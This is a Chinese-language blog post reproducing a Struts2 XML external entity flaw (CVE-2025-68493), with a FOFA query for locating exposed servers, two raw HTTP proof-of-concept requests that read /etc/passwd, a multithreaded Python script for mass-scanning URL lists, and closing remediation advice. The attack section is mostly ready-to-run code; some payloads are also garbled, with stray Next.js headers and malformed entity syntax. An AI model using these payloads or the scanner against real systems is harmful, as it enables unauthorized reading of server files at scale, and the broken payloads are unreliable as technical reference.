struts2 XML外部实体注入漏洞复现(CVE-2025-68493)

免责申明:

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。

前言:

我们建立了一个更多,更全的知识库。每日追踪最新的安全漏洞并提供批量性检测脚本。

更多详情:

复制代码
https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X

0x01 产品描述:

Apache Struts 是一个免费的开源 MVC 框架,用于创建优雅的现代 Java Web 应用程序。它支持约定优于配置,可使用插件架构进行扩展,并附带支持 REST、AJAX 和 JSON 的插件。

0x02 漏洞描述:

Apache Struts 存在XML外部实体注入漏洞,XWork-Core 组件在解析XML配置文件时,未对XML外部实体进行充分校验与限制,导致攻击者可通过构造恶意XML内容触发外部实体解析。成功利用后,可能造成敏感数据泄露、拒绝服务等安全影响。

0x03 影响版本:

2.0.0 ≤ Apache Struts ≤ 2.3.37

2.5.0 ≤ Apache Struts ≤ 2.5.33

6.0.0 ≤ Apache Struts ≤ 6.1.0

0x04 搜索语句:

FOFA:app="Struts2"

0x05 漏洞复现:

线上很多蜜罐,自行分别

poc1

复制代码
POST /struts2-xml-parser/xmlParserNoDtdParse HTTP/2
Host: 
Next-Action: x
X-Nextjs-Request-Id: e9myfwgx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: uEBTJuTmVvbHxbRvCmf0m
Content-Length: 104

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

poc2

复制代码
POST /xmlParser.action HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Content-Length: 120
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*; q=0.8, application/signed-exchange; v=b3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

xmlContent=
%3fxml+version%3d'1.0'%3f'>
<!DOCTYPE+root+[<!ENTITY+root+["!ENTITY+xse+SYSTEM+"file%3a/etc/passwd"]>]><root>26xse%3b</root>

0x06 批量检测脚本:

复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Struts2 CVE-2025-68493 XXE漏洞检测脚本
"""

import sys
import os
import requests
import urllib3
import threading
import queue
import argparse
import time
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import init, Fore, Style


init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

#payload
PAYLOAD = '''<?xml version='1.0'?>
<!DOCTYPE root [<!ENTITY root ["!ENTITY xse SYSTEM "file:/etc/passwd"]>]><root>26xse;</root>'''

class Struts2Scanner:
    def __init__(self, threads=10, output_file=None):
        self.threads = threads
        self.output_file = output_file
        self.vulnerable_urls = []
        self.lock = threading.Lock()
        self.scanned_count = 0
        self.vuln_count = 0
        
    def add_http_scheme(self, url):#自动增加协议
        if not url.startswith(('http://', 'https://')):
            return f'http://{url}'
        return url
    
    def clean_url(self, url):
        url = url.strip()
        if url.endswith('/'):
            url = url[:-1]
        return url
    
    def check_vulnerability(self, url):
        try:
            target_url = self.add_http_scheme(self.clean_url(url))
            full_url = f"{target_url}/xmlParser.action"
            
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0',
                'Content-Type': 'application/x-www-form-urlencoded',
                'Accept': 'text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*; q=0.8, application/signed-exchange; v=b3',
                'Accept-Encoding': 'gzip, deflate'
            }
            
            data = {
                'xmlContent': PAYLOAD
            }
            
            response = requests.post(full_url, 
                                    headers=headers, 
                                    data=data, 
                                    verify=False, 
                                    timeout=10,
                                    allow_redirects=False)
            
            with self.lock:
                self.scanned_count += 1
            
            if response.status_code == 200:
                response_text = response.text
                if 'root:x' in response_text and '/bin' in response_text:
                    with self.lock:
                        self.vuln_count += 1
                        self.vulnerable_urls.append(target_url)
                    return True, target_url, "漏洞存在"
                else:
                    return False, target_url, "响应状态200,但未检测到漏洞特征"
            else:
                return False, target_url, f"响应状态码: {response.status_code}"
                
        except requests.exceptions.RequestException as e:
            return False, url, f"请求错误: {str(e)}"
        except Exception as e:
            return False, url, f"检测错误: {str(e)}"
    
    def process_single_url(self, url):
        print(f"[*] 正在检测: {url}")
        is_vuln, checked_url, message = self.check_vulnerability(url)
        
        if is_vuln:
            print(f"{Fore.GREEN}[+] 漏洞存在: {checked_url} - {message}")
        else:
            print(f"{Fore.RED}[-] 无漏洞: {checked_url} - {message}")
            
        return is_vuln, checked_url
    
    def process_batch_urls(self, urls):
        print(f"[*] 开始批量检测,线程数: {self.threads}")
        print(f"[*] 待检测URL数量: {len(urls)}")
        print("-" * 50)
        
        start_time = time.time()
        
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = {executor.submit(self.check_vulnerability, url): url for url in urls}
            
            for future in as_completed(futures):
                url = futures[future]
                try:
                    is_vuln, checked_url, message = future.result()
                    
                    if is_vuln:
                        print(f"{Fore.GREEN}[+] 漏洞存在: {checked_url}")
                    else:
                        print(f"[-] 无漏洞: {checked_url} - {message}")
                        
                except Exception as e:
                    print(f"{Fore.YELLOW}[!] 检测异常: {url} - {str(e)}")
        
        end_time = time.time()
        self.show_results(start_time, end_time)
    
    def show_results(self, start_time, end_time):
        print("\n" + "=" * 60)
        print(f"[*] 扫描完成")
        print(f"[*] 耗时: {end_time - start_time:.2f}秒")
        print(f"[*] 已扫描: {self.scanned_count}个URL")
        print(f"[*] 发现漏洞: {self.vuln_count}个")
        print("=" * 60)
        
        if self.vulnerable_urls:
            print(f"\n{Fore.GREEN}[+] 发现漏洞的URL列表:")
            for url in self.vulnerable_urls:
                print(f"  {Fore.GREEN}• {url}")
            
            #导出到文件
            if self.output_file:
                self.save_results()
                print(f"\n{Fore.CYAN}[*] 漏洞URL已保存到: {self.output_file}")
        else:
            print(f"\n{Fore.YELLOW}[-] 未发现存在漏洞的URL")
    
    def save_results(self):
        try:
            with open(self.output_file, 'w', encoding='utf-8') as f:
                for url in self.vulnerable_urls:#漏洞存在导出
                    f.write(f"{url}\n")
        except Exception as e:
            print(f"{Fore.RED}[!] 保存文件失败: {str(e)}")
    
    def read_urls_from_file(self, filename):
        urls = []
        try:
            with open(filename, 'r', encoding='utf-8') as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith(('#')):
                        urls.append(line)
        except FileNotFoundError:
            print(f"{Fore.RED}[!] 文件不存在: {filename}")
            sys.exit(1)
        except Exception as e:
            print(f"{Fore.RED}[!] 读取文件失败: {str(e)}")
            sys.exit(1)
        
        if not urls:
            print(f"{Fore.YELLOW}[!] 文件中没有找到有效的URL")
            sys.exit(1)
        
        return urls

def main():
    parser = argparse.ArgumentParser(
        description='Struts2 CVE-2025-68493 XXE漏洞检测工具',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
使用示例:
  %(prog)s -u http://example.com
  %(prog)s -f urls.txt -t 20
  %(prog)s -f urls.txt -o results.txt
        '''
    )
    
    parser.add_argument('-u', '--url', help='单个URL检测')
    parser.add_argument('-f', '--file', help='从文件读取URL进行批量检测')
    parser.add_argument('-t', '--threads', type=int, default=10, 
                       help='线程数量 (默认: 10)')
    parser.add_argument('-o', '--output', help='将漏洞URL导出到指定文件')
    
    args = parser.parse_args()
    
    if not args.url and not args.file:
        parser.print_help()
        print(f"\n{Fore.RED}[!] 错误: 必须指定 -u 或 -f 参数")
        sys.exit(1)
    
    if args.url and args.file:
        print(f"{Fore.YELLOW}[!] 警告: 同时指定了 -u 和 -f 参数,将使用 -u 参数")
    
    scanner = Struts2Scanner(threads=args.threads, output_file=args.output)
    
    print(f'''
{Fore.CYAN}Struts2 CVE-2025-68493 XXE漏洞检测工具
{Fore.CYAN}Author: iSee857
{Fore.CYAN}========================================
    ''')
    
    try:
        if args.url:
            # 单个URL检测
            scanner.process_single_url(args.url)
        elif args.file:
            # 批量检测
            urls = scanner.read_urls_from_file(args.file)
            scanner.process_batch_urls(urls)
    
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}[!] 用户中断扫描")
        if scanner.vulnerable_urls and scanner.output_file:
            scanner.save_results()
            print(f"{Fore.CYAN}[*] 已保存已发现的漏洞URL到: {scanner.output_file}")
        sys.exit(0)
    except Exception as e:
        print(f"{Fore.RED}[!] 程序执行出错: {str(e)}")
        sys.exit(1)

if __name__ == '__main__':
    main()

0x07 修复建议:

官方已发布最新版本修复该漏洞,建议受影响用户将Apache Struts更新到6.1.1及以上版本。

下载链接:https://struts.apache.org/download.cgi

无法立即升级的用户可以通过以下方式缓解:

1、使用自定义SAXParserFactory:将xwork.saxParserFactory设置为默认禁用外部实体的自定义工厂类;

2、定义JVM级别的配置:通过系统属性配置JVM的默认XML解析器以禁用外部实体(设置为空字符串以阻止所有协议):

-Djavax.xml.accessExternalDTD=""

-Djavax.xml.accessExternalSchema=""

-Djavax.xml.accessExternalStylesheet=""

相关推荐
用户962377954482 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954486 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star6 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544810 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全